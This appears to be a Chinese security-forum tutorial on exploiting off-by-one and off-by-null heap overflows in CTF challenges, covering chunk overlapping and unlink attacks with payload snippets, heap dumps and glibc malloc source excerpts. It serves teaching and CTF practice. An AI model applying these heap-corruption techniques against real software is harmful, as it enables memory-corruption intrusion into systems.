问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
对于堆上off-by-one的个人见解
CTF
# 对于堆上off-by-one的个人见解 # 0x00 前言 off-by-one是一种堆溢出,从它的名字上来看就知道它只能够溢出一个字节。在之前很长的一段时间off-by-one漏洞被认为是不可利用的,不过这样...
对于堆上off-by-one的个人见解 =================== 0x00 前言 ======= off-by-one是一种堆溢出,从它的名字上来看就知道它只能够溢出一个字节。在之前很长的一段时间off-by-one漏洞被认为是不可利用的,不过这样的观点已经被打破,并且off-by-one也成为了一个危害性比较大的漏洞,就算只溢出了一个字节也可以改变堆快关系来达到利用的目的。 0x01 off-by-one漏洞的原理 ==================== off-by-one漏洞顾名思义,就是我们在向缓冲区写入数据的时候由于限制条件或边界验证的不严格,导致多写入一个字节导致缓冲区溢出一个字节。我们在CTF中常见的溢出方式有: 1、在遇到用strcpy函数将某个变量或常量的值写入堆内时,复制遇到结束符\\x00停止,并且在复制结束的时候在结尾写入一个\\x00。那么在读入的数据和堆快的最大存储内容大小相等的时候,就会向外溢出一个字节的“\\x00”,从而形成off-by-one。 2、在向堆内循环写入的时候,没有控制好循环次数而导致多写入一字节的内容,导致off-by-one 3、在CTF中出题人故意写出的off-by-one漏洞。比如:size+1<=max\_content\_size 0x02 off-by-one漏洞的利用思路 ====================== off-by-one漏洞的利用方式是比较有限的(其实是本人水平有限),在CTF中我们比较常见的方式只有两种: 1、chunk overlapping 2、unlink 当在CTF比赛中遇到off-by-one漏洞利用方式可以向这两个方向上来靠一靠。 0x03 off-by-one漏洞的利用方式 ====================== 0x031 利用obo进行chunk overlapping ------------------------------ chunk overlapping要求我们能对堆块的头部进行操作,要求能够溢出覆盖到堆块size中的第一个字节,主要目的是修改size中的prev\_in\_use位。然而off-by-one中也有一个特殊的溢出方式——off-by-null,只能够溢出一个NULL字节。这样的话obn就不如obo利用来的随意。 ### 0x0311 利用obo进行overlapping #### 利用off-by-one 对 inuse 的 fastbin 进行 extend 具体来描述堆内情况的时候,我们使用add(),edit(),delete()来分别代表增删改功能 ```·· add(0x18) #0 add(0x10) #1 add(0x10) #2 ``` 这是堆内情况为: ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 因为堆块0的大小为0x18,因为堆块需要对齐,所以堆块0的后0x8个字节占用了堆块1的pre\_size 域,这样我们就可以通过溢出一个字节来控制堆块1的size。 程序是存在off-by-one漏洞的,我们可以写比堆块大小多1个字节的内容, ```· edit(0,p64(0)*3+'\x41') ``` ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000041 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 第二个堆块的size被改成了0x41,将堆块3包含了起来。我们将堆块1free掉之后,观察一下 ```· Fastbins[idx=0, size=0x10] 0x00 Fastbins[idx=1, size=0x20] 0x00 Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602010, size=0x40, flags=PREV_INUSE) Fastbins[idx=3, size=0x40] 0x00 Fastbins[idx=4, size=0x50] 0x00 Fastbins[idx=5, size=0x60] 0x00 Fastbins[idx=6, size=0x70] 0x00 ``` 发现程序已经将堆块1、2一齐free掉了,但是我们还可以对堆块2进行操作,读写等。 我们再执行malloc(0x30)会将堆块1、2一齐申请回来。我们就可以对堆块2的内容进行控制,如:进行Use After Free、fastbin attack等。 #### 利用off-by-one 对 inuse 的 smallbin 进行 extend ```· add(0x18)#0 add(0x80)#1 add(0x10)#2 add(0x10)#3 ``` 堆块3用于防止合成的堆块与top chunk合并,非fastbin大小的堆块处于free状态下,如果与top chunk相邻则与其合并。 此时堆内状况为: ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000091 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 同样的溢出方式,将堆块1的size大小修改为0xb1 ```· edit(0,p64(0)*3+'\xb1') ``` 堆块情况为: ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 00000000000000b1 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 同样是我们将堆块1free掉之后,是将堆块1、2同时放入了unsortedbin中 ```·· unsorted_bins[0]: fw=0x602000, bk=0x602000 Chunk(addr=0x602010, size=0xb0, flags=PREV_INUSE) ``` add(0xa0)的时候就会将堆块1、2同时申请回来,以此控制堆块2的内容进行攻击。 ##### 拓展: 我们将堆快1先进行释放,将其放入unsortedbin中。 之后通过堆块0对堆块1的size进行修改为0xb1,再申请一个0xa0大小的堆块,同样会将堆块2一起申请出来,以此控制堆块2的内容。 #### 利用off-by-one 通过 extend 后向 overlapping 这是在CTF中最常出现的overlapping利用手法 ```·· add(0x18)#0 add(0x10)#1 add(0x10)#2 add(0x10)#3 add(0x10)#4 ``` 此时堆内情况为: ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--4 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 同样的方法将堆块1的size修改为0x61,此时布局为: ```· 0000000000000000 0000000000000021 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000061 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--4 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` free(1)之后,add(0x50)就可以同时控制堆块1、2、3。 ##### 利用off-by-one 通过 extend 前向 overlapping ```· add(0x80)#0 add(0x10)#1 add(0x18)#2 add(0x80)#3 add(0x10)#4 ``` 此时堆内状态为: ```· 0000000000000000 0000000000000071 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 0000000000000000 0000000000000071 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--4 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 我们先把堆块0free掉 利用将堆块3的pre\_size 域修改为0xb0,将size改为0x70, ```· 0000000000000000 0000000000000071 <--0 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--1 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--2 0000000000000000 0000000000000000 00000000000000b0 0000000000000070 <--3 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000000 0000000000000021 <--4 0000000000000000 0000000000000000 0000000000000000 0000000000201545 <--top chunk 0000000000000000 0000000000000000 0000000000000000 0000000000000000 ``` 然后我们将堆块3free掉,再申请一个大小为0x110的堆块,就可以控制堆块1和堆块2的内容。 利用了 smallbin 的 unlink 机制。 ### 0x0312 利用obn进行overlapping off-by-null的用处不如obo的方法多,主要的利用形式就是在通过 extend 后向 overlapping中。因为unlink机制有检测,所以利用obn将0x100整数倍的堆块的p标识位进行置0。 0x032 利用obo进行unlink ------------------- 既然写到这了,就先顺带着稍微一提unlink的知识吧,之后会有一篇专门写unlink的文章。 简单的来说就是把一个双向链表中的空闲堆块拿出来,与其他物理相邻的free块进行合并。 通过源码的审计,帮助理解 ```·· /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size whileconsolidating"); unlink_chunk (av, p); } if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { unlink_chunk (av, nextchunk); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); ``` 可以从malloc源码中清晰的看出在\_init\_free函数中调用unlink\_chunk函数对空闲块进行合并。有两种合并方式向后合并及向前合并,向后指的是物理上相邻的低地址的chunk,向前则是物理上相邻的高地址的chunk。跟进unlink\_chunk函数: ```·· unlink_chunk (mstate av, mchunkptr p) { if(chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if(__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list"); fd->bk = bk; bk->fd = fd; if(!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize !=NULL) { if (p->fd_nextsize->bk_nextsize != p|| p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize =p->fd_nextsize; fd->bk_nextsize =p->bk_nextsize; p->fd_nextsize->bk_nextsize= fd; p->bk_nextsize->fd_nextsize= fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } } ``` 整段代码其实并不难理解,最重要的就是我们需要通过源码中if的检测来进行unlink 我们需要的判断不过下面这两个: 1、判断要从双链表中脱链的的堆块的size有没有被篡改,如果一个低地址堆块的size与其物理相邻的高地址堆块的prev\_size值不相等就会抛出错误。 ```·· if(chunksize (p) != prev_size (next_chunk (p))) ``` 2、检查当前空闲堆块chunk的前一个chunk的bk是不是指向本身,或者是后一个堆快的fd有没有指向本身,如果不成立则抛出异常。 ```· if(__builtin_expect (fd->bk != p || bk->fd != p, 0)) ``` ### 实践一下 写了个可以off-by-one的程序来demo一下 首先申请了3个堆块 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-3a64c0c23103b27f14e12dc83322d09129f8261e.png) 我们在第二个堆快中去伪造一个chunk,然后通过obo修改第三个堆快的size部分,编辑prev\_size的值为伪造chunk的大小,如下图所示: ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-fe91ff9b0e884e4828cbc9ef84d57ddef8dac463.png) 需要注意的是我们需要将前一个堆块使用的标识位设置为零,将fake chunk的fd设置为'目标低址-0x18',将fake chunk的地址改为'目标地址-0x10',这么做的目的就是:unlink在空闲链表中卸下chunk的时候检查前后的chunk是否指向的是其自身,然而fake chunk不在链表中所以我们将他指向自身就好,这样即可以绕过检查。 0x04 后记 ======= 算是一次pwn知识的总结吧。如果有错误还请大佬斧正。 0x05 参考链接 ========= malloc源码:<https://code.woboq.org/userspace/glibc/malloc/malloc.c.html> overlapping手法:<https://ctf-wiki.org/>
发表于 2022-02-28 09:44:07
阅读 ( 5113 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
大能猫
学生
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!